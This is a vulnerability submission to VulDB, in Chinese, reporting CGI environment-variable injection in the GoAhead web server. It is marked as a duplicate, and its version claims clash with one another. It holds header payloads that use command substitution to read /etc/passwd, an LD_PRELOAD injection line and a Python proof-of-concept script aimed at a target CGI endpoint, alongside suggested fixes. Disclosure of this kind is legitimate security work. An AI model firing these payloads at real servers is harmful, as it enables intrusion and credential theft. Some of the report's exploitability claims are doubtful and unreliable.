| Title | embedthis Embedthis GoAhead Web Server v1.0 命令执行 (CWE-77) |
|---|
| Description | 1、漏洞描述
GoAhead 的 CGI 处理器在将 HTTP 请求变量传递给 CGI 子进程时,存在环境变量注入漏洞。攻击者可以通过构造特殊的 HTTP 请求,向 CGI 子进程注入恶意的环境变量,进而触发命令执行。
2、技术细节
问题代码 (src/cgi.c 约第 230-260 行):
/* Add all CGI variables to the environment strings */
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
if (wp->vars) {
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string) {
vp = strim(s->name.value.string, " \t\r\n", WEBS_TRIM_BOTH);
if (inBlackList(vp)) {
continue; // 仅黑名单过滤
}
// ... LD_/DYLD_ 前缀检查 ...
if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {
// 已标记为不受信任的变量才加前缀
envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_VAR_PREFIX,
s->name.value.string, s->content.value.string);
} else {
// ⚠️ 未标记的变量直接传入,无前缀保护
envp[n++] = sfmt("%s=%s", s->name.value.string,
s->content.value.string);
}
}
}
}
*(envp + n) = NULL;
环境变量最终通过 execve() 传递给 CGI 子进程 (src/cgi.c 约第 550 行):
pid = fork();
if (pid == 0) {
// Child process
dup2(fdin, 0);
dup2(fdout, 1);
execve(cgiPath, argp, envp); // ← 环境变量直接传给子进程
_exit(0);
}
触发条件:
条件 A: ME_GOAHEAD_CGI_VAR_PREFIX 配置为空字符串 → 所有变量均无前缀
条件 B: 变量未标记 s->arg == 0 → 不受信任的变量不加前缀
条件 C: 变量名不在 envBlackList 中 → 黑名单不完整
3、攻击向量:
攻击者可通过以下方式注入环境变量:
方式 1: 通过 Cookie 头
Cookie: LD_PRELOAD=/tmp/evil.so
方式 2: 通过 Referer 头
Referer: $(malicious_command)
方式 3: 通过自定义请求头
X-Custom: $(cat /etc/passwd >/tmp/pwned)
注意: 虽然 GoAhead 有黑名单保护 LD_PRELOAD、PATH 等变量,但:
黑名单不完整(缺少 TERM、COLORTERM、XAUTHORITY 等)
某些 CGI 程序(如 Python、Perl、Ruby)会读取环境变量并执行其中的命令
IFS、PROMPT_COMMAND 等 bash 特有变量可被利用
4、PoC (概念验证)
#!/usr/bin/env python3
"""
GoAhead CGI Environment Variable Injection PoC
测试目标: http://target/cgi-bin/test.cgi
"""
import requests
# 目标 CGI 脚本(服务器上需存在)
# test.cgi:
#!/bin/sh
echo "Content-Type: text/html"
echo ""
echo "ENV TEST"
env | grep -i "TESTVAR"
# 方法 1: 通过 HTTP 变量注入环境变量
# 当 ME_GOAHEAD_CGI_VAR_PREFIX="" 时,所有变量直接传入
headers = {
"Cookie": "TESTVAR=$(cat /etc/passwd)" # 利用命令替换
}
resp = requests.post(
"http://target/cgi-bin/test.cgi",
headers=headers,
data={"normal": "param"}
)
print(resp.text)
# 方法 2: 利用未黑名单保护的变量
# 某些 CGI 解释器会执行环境变量中的命令
headers2 = {
"Referer": "TESTVAR=';ls -la /;echo '", # 利用分号分隔命令
}
resp2 = requests.post(
"http://target/cgi-bin/test.cgi",
headers=headers2,
data={}
)
print(resp2.text)
5、影响范围
影响版本: GoAhead 所有启用了 CGI 功能的版本
最低版本: 3.6.0 (2014年发布)
最高受影响版本: 最新版本 (截至 2026-07-19)
目标平台: 所有支持 CGI 的平台(Linux, Windows, VxWorks, QNX 等)
6、修复建议
// 修复方案 1: 强制所有 CGI 变量加前缀
// 在 cgi.c 中,移除 s->arg 判断逻辑
envp[n++] = sfmt("CGI_%s=%s", s->name.value.string, s->content.value.string);
// 修复方案 2: 对变量名和值进行严格 sanitization
static char *sanitizeEnvValue(char *value) {
char *out = value;
char *p = value;
while (*p) {
if (*p == '$' || *p == '`' || *p == '\\' || *p == '\n' || *p == '\r') {
// 拒绝包含危险字符的值
return NULL;
}
*out++ = *p++;
}
*out = '\0';
return value;
}
|
|---|
| User | EagleShadow (UID 99969) |
|---|
| Submission | 07/19/2026 07:13 (2 months ago) |
|---|
| Moderation | 09/07/2026 20:32 (2 months later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 110557 [EmbedThis GoAhead up to 3.6.4 cgi.c cgiHandler input validation] |
|---|
| Points | 0 |
|---|